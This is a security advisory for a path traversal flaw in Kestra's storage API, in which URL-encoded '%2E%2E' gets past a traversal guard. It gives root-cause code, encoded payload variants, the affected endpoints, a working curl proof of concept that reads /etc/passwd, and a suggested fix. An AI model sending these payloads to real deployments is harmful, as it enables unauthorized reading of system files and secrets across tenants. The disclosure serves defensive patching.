Skip to content

Path traversal via URL-encoded "%2E%2E" in execution and namespace file endpoints allows arbitrary file read

High
AcevedoR published GHSA-3529-p4wf-xp79 May 27, 2026

Package

maven io.kestra:kestra-core (Maven)

Affected versions

<= 1.3.18
<= 1.0.42

Patched versions

1.3.19
1.0.43

Description

Summary

Several Kestra API endpoints accept a kestra:// URI from the client and pass it through StorageInterface.parentTraversalGuard before reading the underlying file from the local storage backend. The guard only inspects the literal URI.toString(), so a URL-encoded .. written as %2E%2E slips through. The downstream code then calls URI.getPath(), which decodes %2E%2E back to .., and the resulting path is handed to Paths.get(...) without normalization. The OS resolves the .. segments at open(2) time, so an authenticated user with a single execution can read any file the Kestra process has access to on the host filesystem (/etc/passwd, mounted secrets, other tenants' execution outputs, etc.).

Details

Root cause is in core/src/main/java/io/kestra/core/storages/StorageInterface.java:

default void parentTraversalGuard(URI uri) {
    if (uri != null && (uri.toString().contains(".." + File.separator)
                     || uri.toString().contains(File.separator + "..")
                     || uri.toString().equals(".."))) {
        throw new IllegalArgumentException(
            "File should be accessed with their full path and not using relative '..' path."
        );
    }
}

A URI such as kestra:///ns/flow/executions/abc/%2E%2E/%2E%2E/etc/passwd keeps the %2E%2E sequences intact when serialized via URI.toString(). The guard sees no literal .. and returns. The very next call uses URI.getPath(), which decodes percent-escapes per RFC 3986, so %2E%2E becomes ... The decoded value is then concatenated onto the storage base path with Paths.get(...), which does not normalize .. segments. FileInputStream issues open(2) on the resulting string and the kernel walks the .. parts, escaping the storage directory.

Caller chain in storage-local/src/main/java/io/kestra/storage/local/LocalStorage.java:

protected Path getPath(URI uri, Path basePath) {
    if (uri == null) return basePath;
    parentTraversalGuard(uri);                                  // bypassed
    return Paths.get(basePath.toString(),
                     windowsToUnixPath(uri.getPath()));         // decoded ".."
}

public InputStream get(String tenantId, @Nullable String namespace, URI uri) throws IOException {
    return new BufferedInputStream(
        new FileInputStream(getLocalPath(tenantId, uri).toAbsolutePath().toString())
    );
}

Controller-side prefix check in webserver/src/main/java/io/kestra/webserver/controllers/api/ExecutionController.java:

private void validateFile(String executionId, URI path, String redirect) {
    String prefix = "/" + namespaceAsPath + "/" + flowId + "/executions/" + executionId;
    if (!path.getPath().startsWith(prefix)) {
        throw new IllegalArgumentException(...);
    }
}

validateFile is satisfied because the prefix /ns/flow/executions/abc is preserved at the start of the decoded path. The traversal segments live after the prefix, so String.startsWith returns true.

Standalone reproducer of the guard bypass against the exact source-code logic:

Variant 1: kestra:///ns/flow/exec/abc/output
Guard: pass (no ..).
Decoded path: /ns/flow/exec/abc/output.
Final path: /data/kestra/t1/ns/flow/exec/abc/output (intended).

Variant 2: kestra:///ns/flow/exec/abc/../../../etc/passwd
Guard: block. Literal .. is caught.

Variant 3: kestra:///ns/flow/exec/abc/%2E%2E/%2E%2E/%2E%2E/etc/passwd
Guard: pass (no literal .. in URI.toString()).
Decoded path: /ns/flow/exec/abc/../../../etc/passwd.
Final path after kernel resolve: /data/kestra/t1/ns/etc/passwd (escaped).

Variant 4: kestra:///ns/flow/exec/abc/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Guard: pass. Lowercase percent-escapes also bypass.
Decoded path: same as Variant 3. Same escape.

Variant 5: kestra:///ns/flow/exec/abc%2F%2E%2E%2Fetc%2Fpasswd
Guard: pass. Encoded slash plus encoded dots also bypass.
Decoded path: /ns/flow/exec/abc/../etc/passwd. Escapes one segment.

Three of the encoded variants bypass the guard and produce an escaping path.

The same bypass is reachable from five endpoints because they all funnel an attacker-controlled URI into StorageInterface.get(...) after parentTraversalGuard:

  1. ExecutionController.downloadFileFromExecution -- GET /api/v1/{tenant}/executions/{executionId}/file
  2. ExecutionController.getFileMetadatasFromExecution -- GET /api/v1/{tenant}/executions/{executionId}/file/metas
  3. ExecutionController.previewFileFromExecution -- GET /api/v1/{tenant}/executions/{executionId}/file/preview
  4. NamespaceFileController.getFileContent -- GET /api/v1/{tenant}/namespaces/{namespace}/files
  5. NamespaceFileController.getFileMetadatas -- GET /api/v1/{tenant}/namespaces/{namespace}/files/stats

Because the bypass lives in the shared parentTraversalGuard helper, fixing only one controller will not close the other four sites.

PoC

Setup: default docker compose -f docker-compose.yml up -d against kestra/kestra:latest (version 1.3.16, OSS edition, commitId ff74250). Initialize basic auth, create the flow company.team/poc3 with a single Write task, and run it once to materialize an execution directory.

Request:

curl -i -u 'admin@kestra.io:Admin1234!' \
  "http://localhost:8080/api/v1/main/executions/${EXEC}/file?path=kestra%3A%2F%2F%2Fcompany%2Fteam%2Fpoc3%2Fexecutions%2F${EXEC}%2F%252E%252E%2F%252E%252E%2F%252E%252E%2F%252E%252E%2F%252E%252E%2F%252E%252E%2F%252E%252E%2F%252E%252E%2Fetc%2Fpasswd"

The path query parameter uses double percent-encoding (%252E%252E) because Micronaut decodes the URL once before binding it to @QueryValue URI. After that single decode the value passed into the storage layer is kestra:///.../%2E%2E/.../etc/passwd, which is exactly the form that bypasses the guard.

Response:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="passwd"
Content-Length: 963
Content-Type: application/octet-stream

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...

Container-side filesystem walk:

/app/storage/main/company/team/poc3/executions/${EXEC}
  + /../../../../../../../../etc/passwd
  = /etc/passwd        (resolved by the kernel inside FileInputStream open(2))

Impact

CVSS 3.1: 7.7 High. Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.

Any authenticated user that holds EXECUTION:READ on at least one of their own executions can read arbitrary files outside the storage tree. On a multi-tenant deployment with shared local storage this crosses the tenant trust boundary (Scope: Changed). The Kestra container at default settings runs as a user with read access to /etc/passwd, mounted volumes, and the application's secret files. No user interaction is needed and the request is a single GET.

Affected versions: confirmed on Kestra OSS 1.3.16 (docker image kestra/kestra:latest at the time of testing, commitId ff74250) and main branch up to commit 54458a62082676a71417063be565faea59af7d16. Likely affected on all 1.x.x releases that ship the current parentTraversalGuard implementation. The guard logic has not changed between the tested release and HEAD.

Suggested fix

Decode then check, and reject any path that does not equal its normalized form:

default void parentTraversalGuard(URI uri) {
    if (uri == null) return;
    String decoded = uri.getPath() == null ? "" : uri.getPath();
    Path p = Path.of(decoded);
    if (decoded.contains("..") || !p.normalize().equals(p) || decoded.equals("..")) {
        throw new IllegalArgumentException(
            "File should be accessed with their full path and not using relative '..' path."
        );
    }
}

Defense in depth: in LocalStorage.getPath (and the equivalent helper in any other storage backend), build the resolved path with Paths.get(basePath, uri.getPath()).toAbsolutePath().normalize() and assert result.startsWith(basePath) before returning. That bounds the file read to the configured storage tree even if a future regression reintroduces a guard bypass.

References

Source files on the main branch (commit 54458a62082676a71417063be565faea59af7d16):

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-45807

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits